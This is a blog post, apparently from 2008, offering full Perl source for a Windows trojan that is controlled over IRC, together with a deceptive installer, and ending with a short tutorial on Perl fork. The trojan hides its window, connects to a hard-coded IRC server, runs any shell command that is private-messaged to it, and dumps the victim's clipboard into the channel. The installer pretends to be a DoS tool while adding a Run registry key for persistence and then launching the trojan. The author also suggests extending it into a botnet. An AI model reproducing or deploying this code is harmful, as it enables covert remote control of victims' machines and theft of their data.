This is a perl bot a built then compiled with perlapp to run as a trojan on others computers. It would also be a good candidate for a bot net bot, if someone added syn flood or other various network attacks. If you would like to add supplements to this bot just join the malvager forum and help us out. It can't revive itself out of suspension and needs a password option. Oh yeah and I used this bot tutorial to start with and you will defiantly notice the stolen code.
#!c:/perl/bin/perl.exe -w
#This is published under the gentleman's mal ware license should you
#improve it show the owner and give the owner cred
use Sys::Hostname;
use Net::IRC;
use strict;
use Win32::GUI;
use Win32::Clipboard;
my $hw = Win32::GUI::GetPerlWindow();
Win32::GUI::Hide($hw);
#This is a wait, so that if the user isn't connected to a network
#it will wait 45 seconds giving them plenty of times to get connected
sleep(45);
my $clip = Win32::Clipboard;
my $host = hostname();
my $capsule = int(rand(99));
my $hoster = $host.$capsule;
my $irc = new Net::IRC;
my $conn = $irc->newconn(
Server => shift || 'irc.9unkz0r.com',
Port => shift || '6667',
Nick => $hoster,
Ircname => 'I like to greet!',
Username => 'fucker'
);
# We're going to add this to the conn hash so we know what channel we
# want to operate in.
$conn->{channel} = shift || '#9unkz0r';
sub on_connect {
# shift in our connection object that is passed automatically
my $conn = shift;
# when we connect, join our channel and greet it
$conn->join($conn->{channel});
$conn->privmsg($conn->{channel}, 'Hello everyone!');
$conn->{connected} = 1;
}
sub on_join {
# get our connection object and the event object, which is passed
# with this event automatically
my ($conn, $event) = @_;
# this is the nick that just joined
my $nick = $event->{nick};
# say hello to the nick in public
$conn->privmsg($conn->{channel}, "Fuck You, $nick!");
}
sub on_part {
# pretty much the same as above
my ($conn, $event) = @_;
my $nick = $event->{nick};
$conn->privmsg($conn->{channel}, "Such a dick, $nick!");
}
sub on_msg {
my ($conn, $event) = @_;
my $text = $event->{args}[0];
my $pid;
if($pid = fork){
# Parent
$conn->privmsg($event->{nick}, "$text");
}elsif($pid == 0){
# Child, There is a problem with ram consumption I think using
#exec() rather than system is a good call, has not been tested with exec
system("$text");
}else{
# Error
die "Fork did not work\n";
}
}
sub on_public {
# on an event, we get connection object and event hash
my ($conn, $event) = @_;
# this is what was said in the event
my $text = $event->{args}[0];
# regex the text to see if it begins with clip
if ($text =~ m/clip/) {
# if so, show the contents of the clipboard, variables stolen from other tut
my $weather_text = $clip->Get();
# wrap text at 400 chars (about as much as you should put
# into a single IRC message
my @texts = $weather_text;
# $event->{to}[0] is the channel where this was said
foreach (@texts) {
$conn->privmsg($event->{to}[0], $_);
}
}
}
$conn->add_handler('public', \&on_public);
$conn->add_handler('msg', \&on_msg);
# add event handlers for join and part events
$conn->add_handler('join', \&on_join);
$conn->add_handler('part', \&on_part);
# The end of MOTD (message of the day), numbered 376 signifies we've connect
$conn->add_handler('376', \&on_connect);
#ccgenerator
$irc->start();
It will run anything from the command line you private message it, And if you type !clip, it will display the persons clipboard.
Here is the install program, it masquerades itself as a ip dos program, but really just puts registry entries in the machine so that it will start on restart.
use Sys::Hostname;
use Tk;
sub on_cc {
my $mw = new MainWindow;
$mw->Label(-text => 'Ip to attack')->pack;
$mw-> Entry() -> pack();
$mw->Label(-text => 'Will not work if IP is invalid')->pack;
$mw->Label(-text => 'Only Click Button Once')->pack;
$mw->Button(-text => 'Nuclear DOS',
-command =>\&on_press)->pack;
MainLoop;
}
on_cc();
sub on_press() {
$host = hostname();
my $regedit = 'REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v ccapp2 /t REG_EXPAND_SZ /d c:\windows';
my $bullshit = $regedit.'\\'.$host.'\RunTimeLib.exe';
my $dirs = 'mkdir c:\windows';
my $dirt = $dirs."\\".$host;
my $cp = 'xcopy .\runtime\RunTimeLib.exe "c:\windows"'."\\".$host;
my $exxe = 'c:\windows'."\\".$host."\\".'RunTimeLib.exe';
system("$bullshit");
system("$dirt");
system($cp);
system('cls');
my $pid;
if($pid = fork){
# Parent
system('echo starting syn flood');
}elsif($pid == 0){
# Child
system("$exxe");
}else{
# Error
die "Fork did not work\n";
}
exit;
}
Monday, December 22, 2008
Perl / bot trojan, Could be used for building a bot net, needs a couple more features
Tuesday, September 9, 2008
Simple stupid forking in perl. Or starting a process separate from your perl script or app tutorial.
I was trying to get a program to start independently from my perl script, and was having a little difficulty today until I found this page which breaks it down pretty simple, however I am going to break it down a little farther for people like me who are pretty duh huh without explicit instructions.
This is from the page above:
if($pid = fork){
# Parent
command;
}elsif($pid == 0){
# Child
command;
# The child must end with an exit!!
exit;
}else{
# Error
die "Fork did not work\n";
}
So in itself it's pretty self explanatory, however you could have some problems if you don't explicitly declare $pid. But besides that you can literally just plug your commands in where it says command;. So maybe I was making it out harder than it was supposed to be, but anyway haves fun. Oh and here's a stupid simple example:
use strict;
my $pid;
if($pid = fork){
# Parent
system("calc");
}elsif($pid == 0){
# Child
system("notepad");
# The child must end with an exit!!
exit;
}else{
# Error
die "Fork did not work\n";
}
system("notepad");
Ok so what's this do. Well it starts calc as part of the parent program, then it starts notepad, once you close the program it will continue on to start a new notepad...so what's the difference between starting it this way and doing it this way:
system("calc");
system("notepad");
system("notepad");
Well without spawning a child process using for you will simply open calc, and once it is closed notepad is opened. Then when you close notepad, another notepad will open.